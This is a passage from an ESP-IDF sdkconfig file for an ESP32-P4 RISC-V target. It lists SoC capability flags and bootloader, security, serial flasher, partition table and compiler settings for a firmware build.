CONFIG_SOC_I2C_SLAVE_SUPPORT_SLAVE_UNMATCH=y
CONFIG_SOC_I2C_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_LP_I2C_NUM=1
CONFIG_SOC_LP_I2C_FIFO_LEN=16
CONFIG_SOC_I2S_NUM=3
CONFIG_SOC_I2S_HW_VERSION_2=y
CONFIG_SOC_I2S_SUPPORTS_ETM=y
CONFIG_SOC_I2S_SUPPORTS_XTAL=y
CONFIG_SOC_I2S_SUPPORTS_APLL=y
CONFIG_SOC_I2S_SUPPORTS_PCM=y
CONFIG_SOC_I2S_SUPPORTS_PDM=y
CONFIG_SOC_I2S_SUPPORTS_PDM_TX=y
CONFIG_SOC_I2S_SUPPORTS_PDM_RX=y
CONFIG_SOC_I2S_SUPPORTS_PDM_RX_HP_FILTER=y
CONFIG_SOC_I2S_SUPPORTS_TX_SYNC_CNT=y
CONFIG_SOC_I2S_SUPPORTS_TDM=y
CONFIG_SOC_I2S_PDM_MAX_TX_LINES=2
CONFIG_SOC_I2S_PDM_MAX_RX_LINES=4
CONFIG_SOC_I2S_TDM_FULL_DATA_WIDTH=y
CONFIG_SOC_I2S_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_LP_I2S_NUM=1
CONFIG_SOC_ISP_BF_SUPPORTED=y
CONFIG_SOC_ISP_CCM_SUPPORTED=y
CONFIG_SOC_ISP_DEMOSAIC_SUPPORTED=y
CONFIG_SOC_ISP_DVP_SUPPORTED=y
CONFIG_SOC_ISP_SHARPEN_SUPPORTED=y
CONFIG_SOC_ISP_COLOR_SUPPORTED=y
CONFIG_SOC_ISP_LSC_SUPPORTED=y
CONFIG_SOC_ISP_SHARE_CSI_BRG=y
CONFIG_SOC_ISP_NUMS=1
CONFIG_SOC_ISP_DVP_CTLR_NUMS=1
CONFIG_SOC_ISP_AE_CTLR_NUMS=1
CONFIG_SOC_ISP_AE_BLOCK_X_NUMS=5
CONFIG_SOC_ISP_AE_BLOCK_Y_NUMS=5
CONFIG_SOC_ISP_AF_CTLR_NUMS=1
CONFIG_SOC_ISP_AF_WINDOW_NUMS=3
CONFIG_SOC_ISP_BF_TEMPLATE_X_NUMS=3
CONFIG_SOC_ISP_BF_TEMPLATE_Y_NUMS=3
CONFIG_SOC_ISP_CCM_DIMENSION=3
CONFIG_SOC_ISP_DEMOSAIC_GRAD_RATIO_INT_BITS=2
CONFIG_SOC_ISP_DEMOSAIC_GRAD_RATIO_DEC_BITS=4
CONFIG_SOC_ISP_DEMOSAIC_GRAD_RATIO_RES_BITS=26
CONFIG_SOC_ISP_DVP_DATA_WIDTH_MAX=16
CONFIG_SOC_ISP_SHARPEN_TEMPLATE_X_NUMS=3
CONFIG_SOC_ISP_SHARPEN_TEMPLATE_Y_NUMS=3
CONFIG_SOC_ISP_SHARPEN_H_FREQ_COEF_INT_BITS=3
CONFIG_SOC_ISP_SHARPEN_H_FREQ_COEF_DEC_BITS=5
CONFIG_SOC_ISP_SHARPEN_H_FREQ_COEF_RES_BITS=24
CONFIG_SOC_ISP_SHARPEN_M_FREQ_COEF_INT_BITS=3
CONFIG_SOC_ISP_SHARPEN_M_FREQ_COEF_DEC_BITS=5
CONFIG_SOC_ISP_SHARPEN_M_FREQ_COEF_RES_BITS=24
CONFIG_SOC_ISP_HIST_CTLR_NUMS=1
CONFIG_SOC_ISP_HIST_BLOCK_X_NUMS=5
CONFIG_SOC_ISP_HIST_BLOCK_Y_NUMS=5
CONFIG_SOC_ISP_HIST_SEGMENT_NUMS=16
CONFIG_SOC_ISP_HIST_INTERVAL_NUMS=15
CONFIG_SOC_ISP_LSC_GRAD_RATIO_INT_BITS=2
CONFIG_SOC_ISP_LSC_GRAD_RATIO_DEC_BITS=8
CONFIG_SOC_ISP_LSC_GRAD_RATIO_RES_BITS=22
CONFIG_SOC_LEDC_SUPPORT_PLL_DIV_CLOCK=y
CONFIG_SOC_LEDC_SUPPORT_XTAL_CLOCK=y
CONFIG_SOC_LEDC_TIMER_NUM=4
CONFIG_SOC_LEDC_CHANNEL_NUM=8
CONFIG_SOC_LEDC_TIMER_BIT_WIDTH=20
CONFIG_SOC_LEDC_GAMMA_CURVE_FADE_SUPPORTED=y
CONFIG_SOC_LEDC_GAMMA_CURVE_FADE_RANGE_MAX=16
CONFIG_SOC_LEDC_SUPPORT_FADE_STOP=y
CONFIG_SOC_LEDC_FADE_PARAMS_BIT_WIDTH=10
CONFIG_SOC_LEDC_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MMU_PERIPH_NUM=2
CONFIG_SOC_MMU_LINEAR_ADDRESS_REGION_NUM=2
CONFIG_SOC_MMU_DI_VADDR_SHARED=y
CONFIG_SOC_MMU_PER_EXT_MEM_TARGET=y
CONFIG_SOC_MPU_MIN_REGION_SIZE=0x20000000
CONFIG_SOC_MPU_REGIONS_MAX_NUM=8
CONFIG_SOC_PCNT_GROUPS=1
CONFIG_SOC_PCNT_UNITS_PER_GROUP=4
CONFIG_SOC_PCNT_CHANNELS_PER_UNIT=2
CONFIG_SOC_PCNT_THRES_POINT_PER_UNIT=2
CONFIG_SOC_PCNT_SUPPORT_RUNTIME_THRES_UPDATE=y
CONFIG_SOC_PCNT_SUPPORT_CLEAR_SIGNAL=y
CONFIG_SOC_RMT_GROUPS=1
CONFIG_SOC_RMT_TX_CANDIDATES_PER_GROUP=4
CONFIG_SOC_RMT_RX_CANDIDATES_PER_GROUP=4
CONFIG_SOC_RMT_CHANNELS_PER_GROUP=8
CONFIG_SOC_RMT_MEM_WORDS_PER_CHANNEL=48
CONFIG_SOC_RMT_SUPPORT_RX_PINGPONG=y
CONFIG_SOC_RMT_SUPPORT_RX_DEMODULATION=y
CONFIG_SOC_RMT_SUPPORT_TX_ASYNC_STOP=y
CONFIG_SOC_RMT_SUPPORT_TX_LOOP_COUNT=y
CONFIG_SOC_RMT_SUPPORT_TX_LOOP_AUTO_STOP=y
CONFIG_SOC_RMT_SUPPORT_TX_SYNCHRO=y
CONFIG_SOC_RMT_SUPPORT_TX_CARRIER_DATA_ONLY=y
CONFIG_SOC_RMT_SUPPORT_XTAL=y
CONFIG_SOC_RMT_SUPPORT_RC_FAST=y
CONFIG_SOC_RMT_SUPPORT_DMA=y
CONFIG_SOC_RMT_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_LCD_I80_SUPPORTED=y
CONFIG_SOC_LCD_RGB_SUPPORTED=y
CONFIG_SOC_LCDCAM_I80_NUM_BUSES=1
CONFIG_SOC_LCDCAM_I80_BUS_WIDTH=24
CONFIG_SOC_LCDCAM_RGB_NUM_PANELS=1
CONFIG_SOC_LCDCAM_RGB_DATA_WIDTH=24
CONFIG_SOC_LCD_SUPPORT_RGB_YUV_CONV=y
CONFIG_SOC_MCPWM_GROUPS=2
CONFIG_SOC_MCPWM_TIMERS_PER_GROUP=3
CONFIG_SOC_MCPWM_OPERATORS_PER_GROUP=3
CONFIG_SOC_MCPWM_COMPARATORS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_EVENT_COMPARATORS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_GENERATORS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_TRIGGERS_PER_OPERATOR=2
CONFIG_SOC_MCPWM_GPIO_FAULTS_PER_GROUP=3
CONFIG_SOC_MCPWM_CAPTURE_TIMERS_PER_GROUP=y
CONFIG_SOC_MCPWM_CAPTURE_CHANNELS_PER_TIMER=3
CONFIG_SOC_MCPWM_GPIO_SYNCHROS_PER_GROUP=3
CONFIG_SOC_MCPWM_SWSYNC_CAN_PROPAGATE=y
CONFIG_SOC_MCPWM_SUPPORT_ETM=y
CONFIG_SOC_MCPWM_SUPPORT_EVENT_COMPARATOR=y
CONFIG_SOC_MCPWM_CAPTURE_CLK_FROM_GROUP=y
CONFIG_SOC_USB_OTG_PERIPH_NUM=2
CONFIG_SOC_USB_UTMI_PHY_NUM=1
CONFIG_SOC_PARLIO_GROUPS=1
CONFIG_SOC_PARLIO_TX_UNITS_PER_GROUP=1
CONFIG_SOC_PARLIO_RX_UNITS_PER_GROUP=1
CONFIG_SOC_PARLIO_TX_UNIT_MAX_DATA_WIDTH=16
CONFIG_SOC_PARLIO_RX_UNIT_MAX_DATA_WIDTH=16
CONFIG_SOC_PARLIO_TX_CLK_SUPPORT_GATING=y
CONFIG_SOC_PARLIO_RX_CLK_SUPPORT_GATING=y
CONFIG_SOC_PARLIO_RX_CLK_SUPPORT_OUTPUT=y
CONFIG_SOC_PARLIO_TRANS_BIT_ALIGN=y
CONFIG_SOC_PARLIO_TX_SIZE_BY_DMA=y
CONFIG_SOC_PARLIO_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MPI_MEM_BLOCKS_NUM=4
CONFIG_SOC_MPI_OPERATIONS_NUM=3
CONFIG_SOC_RSA_MAX_BIT_LEN=4096
CONFIG_SOC_SDMMC_USE_IOMUX=y
CONFIG_SOC_SDMMC_USE_GPIO_MATRIX=y
CONFIG_SOC_SDMMC_NUM_SLOTS=2
CONFIG_SOC_SDMMC_DELAY_PHASE_NUM=4
CONFIG_SOC_SDMMC_IO_POWER_EXTERNAL=y
CONFIG_SOC_SDMMC_PSRAM_DMA_CAPABLE=y
CONFIG_SOC_SDMMC_UHS_I_SUPPORTED=y
CONFIG_SOC_SHA_DMA_MAX_BUFFER_SIZE=3968
CONFIG_SOC_SHA_SUPPORT_DMA=y
CONFIG_SOC_SHA_SUPPORT_RESUME=y
CONFIG_SOC_SHA_GDMA=y
CONFIG_SOC_SHA_SUPPORT_SHA1=y
CONFIG_SOC_SHA_SUPPORT_SHA224=y
CONFIG_SOC_SHA_SUPPORT_SHA256=y
CONFIG_SOC_SHA_SUPPORT_SHA384=y
CONFIG_SOC_SHA_SUPPORT_SHA512=y
CONFIG_SOC_SHA_SUPPORT_SHA512_224=y
CONFIG_SOC_SHA_SUPPORT_SHA512_256=y
CONFIG_SOC_SHA_SUPPORT_SHA512_T=y
CONFIG_SOC_ECDSA_SUPPORT_EXPORT_PUBKEY=y
CONFIG_SOC_ECDSA_SUPPORT_DETERMINISTIC_MODE=y
CONFIG_SOC_ECDSA_USES_MPI=y
CONFIG_SOC_SDM_GROUPS=1
CONFIG_SOC_SDM_CHANNELS_PER_GROUP=8
CONFIG_SOC_SDM_CLK_SUPPORT_PLL_F80M=y
CONFIG_SOC_SDM_CLK_SUPPORT_XTAL=y
CONFIG_SOC_SPI_PERIPH_NUM=3
CONFIG_SOC_SPI_MAX_CS_NUM=6
CONFIG_SOC_SPI_MAXIMUM_BUFFER_SIZE=64
CONFIG_SOC_SPI_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_SPI_SUPPORT_SLAVE_HD_VER2=y
CONFIG_SOC_SPI_SLAVE_SUPPORT_SEG_TRANS=y
CONFIG_SOC_SPI_SUPPORT_DDRCLK=y
CONFIG_SOC_SPI_SUPPORT_CD_SIG=y
CONFIG_SOC_SPI_SUPPORT_OCT=y
CONFIG_SOC_SPI_SUPPORT_CLK_XTAL=y
CONFIG_SOC_SPI_SUPPORT_CLK_RC_FAST=y
CONFIG_SOC_SPI_SUPPORT_CLK_SPLL=y
CONFIG_SOC_MEMSPI_IS_INDEPENDENT=y
CONFIG_SOC_SPI_MAX_PRE_DIVIDER=16
CONFIG_SOC_LP_SPI_PERIPH_NUM=y
CONFIG_SOC_LP_SPI_MAXIMUM_BUFFER_SIZE=64
CONFIG_SOC_SPIRAM_XIP_SUPPORTED=y
CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_WAIT_IDLE=y
CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_SUSPEND=y
CONFIG_SOC_SPI_MEM_SUPPORT_AUTO_RESUME=y
CONFIG_SOC_SPI_MEM_SUPPORT_IDLE_INTR=y
CONFIG_SOC_SPI_MEM_SUPPORT_SW_SUSPEND=y
CONFIG_SOC_SPI_MEM_SUPPORT_CHECK_SUS=y
CONFIG_SOC_SPI_MEM_SUPPORT_TIMING_TUNING=y
CONFIG_SOC_MEMSPI_TIMING_TUNING_BY_DQS=y
CONFIG_SOC_SPI_MEM_SUPPORT_CACHE_32BIT_ADDR_MAP=y
CONFIG_SOC_SPI_PERIPH_SUPPORT_CONTROL_DUMMY_OUT=y
CONFIG_SOC_MEMSPI_SRC_FREQ_80M_SUPPORTED=y
CONFIG_SOC_MEMSPI_SRC_FREQ_40M_SUPPORTED=y
CONFIG_SOC_MEMSPI_SRC_FREQ_20M_SUPPORTED=y
CONFIG_SOC_MEMSPI_FLASH_PSRAM_INDEPENDENT=y
CONFIG_SOC_SYSTIMER_COUNTER_NUM=2
CONFIG_SOC_SYSTIMER_ALARM_NUM=3
CONFIG_SOC_SYSTIMER_BIT_WIDTH_LO=32
CONFIG_SOC_SYSTIMER_BIT_WIDTH_HI=20
CONFIG_SOC_SYSTIMER_FIXED_DIVIDER=y
CONFIG_SOC_SYSTIMER_SUPPORT_RC_FAST=y
CONFIG_SOC_SYSTIMER_INT_LEVEL=y
CONFIG_SOC_SYSTIMER_ALARM_MISS_COMPENSATE=y
CONFIG_SOC_SYSTIMER_SUPPORT_ETM=y
CONFIG_SOC_LP_TIMER_BIT_WIDTH_LO=32
CONFIG_SOC_LP_TIMER_BIT_WIDTH_HI=16
CONFIG_SOC_TIMER_GROUPS=2
CONFIG_SOC_TIMER_GROUP_TIMERS_PER_GROUP=2
CONFIG_SOC_TIMER_GROUP_COUNTER_BIT_WIDTH=54
CONFIG_SOC_TIMER_GROUP_SUPPORT_XTAL=y
CONFIG_SOC_TIMER_GROUP_SUPPORT_RC_FAST=y
CONFIG_SOC_TIMER_GROUP_TOTAL_TIMERS=4
CONFIG_SOC_TIMER_SUPPORT_ETM=y
CONFIG_SOC_TIMER_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MWDT_SUPPORT_XTAL=y
CONFIG_SOC_MWDT_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_TOUCH_SENSOR_VERSION=3
CONFIG_SOC_TOUCH_SENSOR_NUM=14
CONFIG_SOC_TOUCH_SUPPORT_SLEEP_WAKEUP=y
CONFIG_SOC_TOUCH_SUPPORT_WATERPROOF=y
CONFIG_SOC_TOUCH_SUPPORT_PROX_SENSING=y
CONFIG_SOC_TOUCH_PROXIMITY_CHANNEL_NUM=3
CONFIG_SOC_TOUCH_PROXIMITY_MEAS_DONE_SUPPORTED=y
CONFIG_SOC_TOUCH_SUPPORT_FREQ_HOP=y
CONFIG_SOC_TOUCH_SAMPLE_CFG_NUM=3
CONFIG_SOC_TWAI_CONTROLLER_NUM=3
CONFIG_SOC_TWAI_CLK_SUPPORT_XTAL=y
CONFIG_SOC_TWAI_BRP_MIN=2
CONFIG_SOC_TWAI_BRP_MAX=32768
CONFIG_SOC_TWAI_SUPPORTS_RX_STATUS=y
CONFIG_SOC_TWAI_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_EFUSE_DIS_PAD_JTAG=y
CONFIG_SOC_EFUSE_DIS_USB_JTAG=y
CONFIG_SOC_EFUSE_DIS_DIRECT_BOOT=y
CONFIG_SOC_EFUSE_SOFT_DIS_JTAG=y
CONFIG_SOC_EFUSE_DIS_DOWNLOAD_MSPI=y
CONFIG_SOC_EFUSE_ECDSA_KEY=y
CONFIG_SOC_KEY_MANAGER_ECDSA_KEY_DEPLOY=y
CONFIG_SOC_KEY_MANAGER_FE_KEY_DEPLOY=y
CONFIG_SOC_SECURE_BOOT_V2_RSA=y
CONFIG_SOC_SECURE_BOOT_V2_ECC=y
CONFIG_SOC_EFUSE_SECURE_BOOT_KEY_DIGESTS=3
CONFIG_SOC_EFUSE_REVOKE_BOOT_KEY_DIGESTS=y
CONFIG_SOC_SUPPORT_SECURE_BOOT_REVOKE_KEY=y
CONFIG_SOC_FLASH_ENCRYPTED_XTS_AES_BLOCK_MAX=64
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES=y
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_OPTIONS=y
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_128=y
CONFIG_SOC_FLASH_ENCRYPTION_XTS_AES_256=y
CONFIG_SOC_UART_NUM=6
CONFIG_SOC_UART_HP_NUM=5
CONFIG_SOC_UART_LP_NUM=1
CONFIG_SOC_UART_FIFO_LEN=128
CONFIG_SOC_LP_UART_FIFO_LEN=16
CONFIG_SOC_UART_BITRATE_MAX=5000000
CONFIG_SOC_UART_SUPPORT_PLL_F80M_CLK=y
CONFIG_SOC_UART_SUPPORT_RTC_CLK=y
CONFIG_SOC_UART_SUPPORT_XTAL_CLK=y
CONFIG_SOC_UART_SUPPORT_WAKEUP_INT=y
CONFIG_SOC_UART_HAS_LP_UART=y
CONFIG_SOC_UART_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_UART_SUPPORT_FSM_TX_WAIT_SEND=y
CONFIG_SOC_LP_I2S_SUPPORT_VAD=y
CONFIG_SOC_COEX_HW_PTI=y
CONFIG_SOC_PHY_DIG_REGS_MEM_SIZE=21
CONFIG_SOC_WIFI_LIGHT_SLEEP_CLK_WIDTH=12
CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP=y
CONFIG_SOC_PM_SUPPORT_EXT1_WAKEUP_MODE_PER_PIN=y
CONFIG_SOC_PM_EXT1_WAKEUP_BY_PMU=y
CONFIG_SOC_PM_SUPPORT_WIFI_WAKEUP=y
CONFIG_SOC_PM_SUPPORT_TOUCH_SENSOR_WAKEUP=y
CONFIG_SOC_PM_SUPPORT_XTAL32K_PD=y
CONFIG_SOC_PM_SUPPORT_RC32K_PD=y
CONFIG_SOC_PM_SUPPORT_RC_FAST_PD=y
CONFIG_SOC_PM_SUPPORT_VDDSDIO_PD=y
CONFIG_SOC_PM_SUPPORT_TOP_PD=y
CONFIG_SOC_PM_SUPPORT_CNNT_PD=y
CONFIG_SOC_PM_SUPPORT_RTC_PERIPH_PD=y
CONFIG_SOC_PM_SUPPORT_DEEPSLEEP_CHECK_STUB_ONLY=y
CONFIG_SOC_PM_CPU_RETENTION_BY_SW=y
CONFIG_SOC_PM_PAU_LINK_NUM=4
CONFIG_SOC_PM_PAU_REGDMA_LINK_MULTI_ADDR=y
CONFIG_SOC_PAU_IN_TOP_DOMAIN=y
CONFIG_SOC_CPU_IN_TOP_DOMAIN=y
CONFIG_SOC_PM_PAU_REGDMA_UPDATE_CACHE_BEFORE_WAIT_COMPARE=y
CONFIG_SOC_SLEEP_SYSTIMER_STALL_WORKAROUND=y
CONFIG_SOC_SLEEP_TGWDT_STOP_WORKAROUND=y
CONFIG_SOC_PM_RETENTION_MODULE_NUM=64
CONFIG_SOC_PSRAM_VDD_POWER_MPLL=y
CONFIG_SOC_CLK_RC_FAST_SUPPORT_CALIBRATION=y
CONFIG_SOC_CLK_APLL_SUPPORTED=y
CONFIG_SOC_CLK_MPLL_SUPPORTED=y
CONFIG_SOC_CLK_SDIO_PLL_SUPPORTED=y
CONFIG_SOC_CLK_XTAL32K_SUPPORTED=y
CONFIG_SOC_CLK_RC32K_SUPPORTED=y
CONFIG_SOC_CLK_LP_FAST_SUPPORT_LP_PLL=y
CONFIG_SOC_CLK_LP_FAST_SUPPORT_XTAL=y
CONFIG_SOC_PERIPH_CLK_CTRL_SHARED=y
CONFIG_SOC_TEMPERATURE_SENSOR_LP_PLL_SUPPORT=y
CONFIG_SOC_TEMPERATURE_SENSOR_INTR_SUPPORT=y
CONFIG_SOC_TSENS_IS_INDEPENDENT_FROM_ADC=y
CONFIG_SOC_TEMPERATURE_SENSOR_SUPPORT_ETM=y
CONFIG_SOC_TEMPERATURE_SENSOR_SUPPORT_SLEEP_RETENTION=y
CONFIG_SOC_MEM_TCM_SUPPORTED=y
CONFIG_SOC_MEM_NON_CONTIGUOUS_SRAM=y
CONFIG_SOC_ASYNCHRONOUS_BUS_ERROR_MODE=y
CONFIG_SOC_EMAC_IEEE_1588_SUPPORT=y
CONFIG_SOC_EMAC_USE_MULTI_IO_MUX=y
CONFIG_SOC_EMAC_MII_USE_GPIO_MATRIX=y
CONFIG_SOC_JPEG_CODEC_SUPPORTED=y
CONFIG_SOC_JPEG_DECODE_SUPPORTED=y
CONFIG_SOC_JPEG_ENCODE_SUPPORTED=y
CONFIG_SOC_LCDCAM_CAM_SUPPORT_RGB_YUV_CONV=y
CONFIG_SOC_LCDCAM_CAM_PERIPH_NUM=1
CONFIG_SOC_LCDCAM_CAM_DATA_WIDTH_MAX=16
CONFIG_SOC_LP_CORE_SUPPORT_ETM=y
CONFIG_SOC_LP_CORE_SUPPORT_LP_ADC=y
CONFIG_SOC_LP_CORE_SUPPORT_LP_VAD=y
CONFIG_IDF_CMAKE=y
CONFIG_IDF_TOOLCHAIN="gcc"
CONFIG_IDF_TOOLCHAIN_GCC=y
CONFIG_IDF_TARGET_ARCH_RISCV=y
CONFIG_IDF_TARGET_ARCH="riscv"
CONFIG_IDF_TARGET="esp32p4"
CONFIG_IDF_INIT_VERSION="5.4.0"
CONFIG_IDF_TARGET_ESP32P4=y
CONFIG_IDF_FIRMWARE_CHIP_ID=0x0012
#
# Build type
#
CONFIG_APP_BUILD_TYPE_APP_2NDBOOT=y
# CONFIG_APP_BUILD_TYPE_RAM is not set
CONFIG_APP_BUILD_GENERATE_BINARIES=y
CONFIG_APP_BUILD_BOOTLOADER=y
CONFIG_APP_BUILD_USE_FLASH_SECTIONS=y
# CONFIG_APP_REPRODUCIBLE_BUILD is not set
# CONFIG_APP_NO_BLOBS is not set
# end of Build type
#
# Bootloader config
#
#
# Bootloader manager
#
CONFIG_BOOTLOADER_COMPILE_TIME_DATE=y
CONFIG_BOOTLOADER_PROJECT_VER=1
# end of Bootloader manager
CONFIG_BOOTLOADER_OFFSET_IN_FLASH=0x2000
CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_SIZE=y
# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_DEBUG is not set
# CONFIG_BOOTLOADER_COMPILER_OPTIMIZATION_PERF is not set
#
# Log
#
# CONFIG_BOOTLOADER_LOG_LEVEL_NONE is not set
# CONFIG_BOOTLOADER_LOG_LEVEL_ERROR is not set
# CONFIG_BOOTLOADER_LOG_LEVEL_WARN is not set
CONFIG_BOOTLOADER_LOG_LEVEL_INFO=y
# CONFIG_BOOTLOADER_LOG_LEVEL_DEBUG is not set
# CONFIG_BOOTLOADER_LOG_LEVEL_VERBOSE is not set
CONFIG_BOOTLOADER_LOG_LEVEL=3
#
# Format
#
# CONFIG_BOOTLOADER_LOG_COLORS is not set
CONFIG_BOOTLOADER_LOG_TIMESTAMP_SOURCE_CPU_TICKS=y
# end of Format
# end of Log
#
# Serial Flash Configurations
#
# CONFIG_BOOTLOADER_FLASH_DC_AWARE is not set
CONFIG_BOOTLOADER_FLASH_XMC_SUPPORT=y
# end of Serial Flash Configurations
# CONFIG_BOOTLOADER_FACTORY_RESET is not set
# CONFIG_BOOTLOADER_APP_TEST is not set
CONFIG_BOOTLOADER_REGION_PROTECTION_ENABLE=y
CONFIG_BOOTLOADER_WDT_ENABLE=y
# CONFIG_BOOTLOADER_WDT_DISABLE_IN_USER_CODE is not set
CONFIG_BOOTLOADER_WDT_TIME_MS=9000
# CONFIG_BOOTLOADER_APP_ROLLBACK_ENABLE is not set
# CONFIG_BOOTLOADER_SKIP_VALIDATE_IN_DEEP_SLEEP is not set
# CONFIG_BOOTLOADER_SKIP_VALIDATE_ON_POWER_ON is not set
# CONFIG_BOOTLOADER_SKIP_VALIDATE_ALWAYS is not set
CONFIG_BOOTLOADER_RESERVE_RTC_SIZE=0
# CONFIG_BOOTLOADER_CUSTOM_RESERVE_RTC is not set
# end of Bootloader config
#
# Security features
#
CONFIG_SECURE_BOOT_V2_RSA_SUPPORTED=y
CONFIG_SECURE_BOOT_V2_ECC_SUPPORTED=y
CONFIG_SECURE_BOOT_V2_PREFERRED=y
# CONFIG_SECURE_SIGNED_APPS_NO_SECURE_BOOT is not set
# CONFIG_SECURE_BOOT is not set
# CONFIG_SECURE_FLASH_ENC_ENABLED is not set
CONFIG_SECURE_ROM_DL_MODE_ENABLED=y
# end of Security features
#
# Application manager
#
CONFIG_APP_COMPILE_TIME_DATE=y
# CONFIG_APP_EXCLUDE_PROJECT_VER_VAR is not set
# CONFIG_APP_EXCLUDE_PROJECT_NAME_VAR is not set
# CONFIG_APP_PROJECT_VER_FROM_CONFIG is not set
CONFIG_APP_RETRIEVE_LEN_ELF_SHA=9
# end of Application manager
CONFIG_ESP_ROM_HAS_CRC_LE=y
CONFIG_ESP_ROM_HAS_CRC_BE=y
CONFIG_ESP_ROM_UART_CLK_IS_XTAL=y
CONFIG_ESP_ROM_USB_SERIAL_DEVICE_NUM=6
CONFIG_ESP_ROM_USB_OTG_NUM=5
CONFIG_ESP_ROM_HAS_RETARGETABLE_LOCKING=y
CONFIG_ESP_ROM_GET_CLK_FREQ=y
CONFIG_ESP_ROM_HAS_RVFPLIB=y
CONFIG_ESP_ROM_HAS_HAL_WDT=y
CONFIG_ESP_ROM_HAS_HAL_SYSTIMER=y
CONFIG_ESP_ROM_HAS_LAYOUT_TABLE=y
CONFIG_ESP_ROM_WDT_INIT_PATCH=y
CONFIG_ESP_ROM_HAS_LP_ROM=y
CONFIG_ESP_ROM_WITHOUT_REGI2C=y
CONFIG_ESP_ROM_HAS_NEWLIB=y
CONFIG_ESP_ROM_HAS_NEWLIB_NANO_FORMAT=y
CONFIG_ESP_ROM_HAS_NEWLIB_NANO_PRINTF_FLOAT_BUG=y
CONFIG_ESP_ROM_HAS_VERSION=y
CONFIG_ESP_ROM_CLIC_INT_TYPE_PATCH=y
CONFIG_ESP_ROM_HAS_OUTPUT_PUTC_FUNC=y
#
# Boot ROM Behavior
#
CONFIG_BOOT_ROM_LOG_ALWAYS_ON=y
# CONFIG_BOOT_ROM_LOG_ALWAYS_OFF is not set
# CONFIG_BOOT_ROM_LOG_ON_GPIO_HIGH is not set
# CONFIG_BOOT_ROM_LOG_ON_GPIO_LOW is not set
# end of Boot ROM Behavior
#
# Serial flasher config
#
# CONFIG_ESPTOOLPY_NO_STUB is not set
CONFIG_ESPTOOLPY_FLASHMODE_QIO=y
# CONFIG_ESPTOOLPY_FLASHMODE_QOUT is not set
# CONFIG_ESPTOOLPY_FLASHMODE_DIO is not set
# CONFIG_ESPTOOLPY_FLASHMODE_DOUT is not set
CONFIG_ESPTOOLPY_FLASH_SAMPLE_MODE_STR=y
CONFIG_ESPTOOLPY_FLASHMODE="dio"
CONFIG_ESPTOOLPY_FLASHFREQ_80M=y
# CONFIG_ESPTOOLPY_FLASHFREQ_40M is not set
# CONFIG_ESPTOOLPY_FLASHFREQ_20M is not set
CONFIG_ESPTOOLPY_FLASHFREQ="80m"
# CONFIG_ESPTOOLPY_FLASHSIZE_1MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_2MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_4MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_8MB is not set
CONFIG_ESPTOOLPY_FLASHSIZE_16MB=y
# CONFIG_ESPTOOLPY_FLASHSIZE_32MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_64MB is not set
# CONFIG_ESPTOOLPY_FLASHSIZE_128MB is not set
CONFIG_ESPTOOLPY_FLASHSIZE="16MB"
# CONFIG_ESPTOOLPY_HEADER_FLASHSIZE_UPDATE is not set
CONFIG_ESPTOOLPY_BEFORE_RESET=y
# CONFIG_ESPTOOLPY_BEFORE_NORESET is not set
CONFIG_ESPTOOLPY_BEFORE="default_reset"
CONFIG_ESPTOOLPY_AFTER_RESET=y
# CONFIG_ESPTOOLPY_AFTER_NORESET is not set
CONFIG_ESPTOOLPY_AFTER="hard_reset"
CONFIG_ESPTOOLPY_MONITOR_BAUD=115200
# end of Serial flasher config
#
# Partition Table
#
# CONFIG_PARTITION_TABLE_SINGLE_APP is not set
# CONFIG_PARTITION_TABLE_SINGLE_APP_LARGE is not set
# CONFIG_PARTITION_TABLE_TWO_OTA is not set
# CONFIG_PARTITION_TABLE_TWO_OTA_LARGE is not set
CONFIG_PARTITION_TABLE_CUSTOM=y
CONFIG_PARTITION_TABLE_CUSTOM_FILENAME="partitions.csv"
CONFIG_PARTITION_TABLE_FILENAME="partitions.csv"
CONFIG_PARTITION_TABLE_OFFSET=0x8000
CONFIG_PARTITION_TABLE_MD5=y
# end of Partition Table
#
# Compiler options
#
# CONFIG_COMPILER_OPTIMIZATION_DEBUG is not set
# CONFIG_COMPILER_OPTIMIZATION_SIZE is not set
CONFIG_COMPILER_OPTIMIZATION_PERF=y
# CONFIG_COMPILER_OPTIMIZATION_NONE is not set
CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_ENABLE=y
# CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_SILENT is not set
# CONFIG_COMPILER_OPTIMIZATION_ASSERTIONS_DISABLE is not set
CONFIG_COMPILER_ASSERT_NDEBUG_EVALUATE=y
# CONFIG_COMPILER_FLOAT_LIB_FROM_GCCLIB is not set
CONFIG_COMPILER_FLOAT_LIB_FROM_RVFPLIB=y
CONFIG_COMPILER_OPTIMIZATION_ASSERTION_LEVEL=2
# CONFIG_COMPILER_OPTIMIZATION_CHECKS_SILENT is not set
CONFIG_COMPILER_HIDE_PATHS_MACROS=y
# CONFIG_COMPILER_CXX_EXCEPTIONS is not set
# CONFIG_COMPILER_CXX_RTTI is not set
CONFIG_COMPILER_STACK_CHECK_MODE_NONE=y
# CONFIG_COMPILER_STACK_CHECK_MODE_NORM is not set
# CONFIG_COMPILER_STACK_CHECK_MODE_STRONG is not set
# CONFIG_COMPILER_STACK_CHECK_MODE_ALL is not set
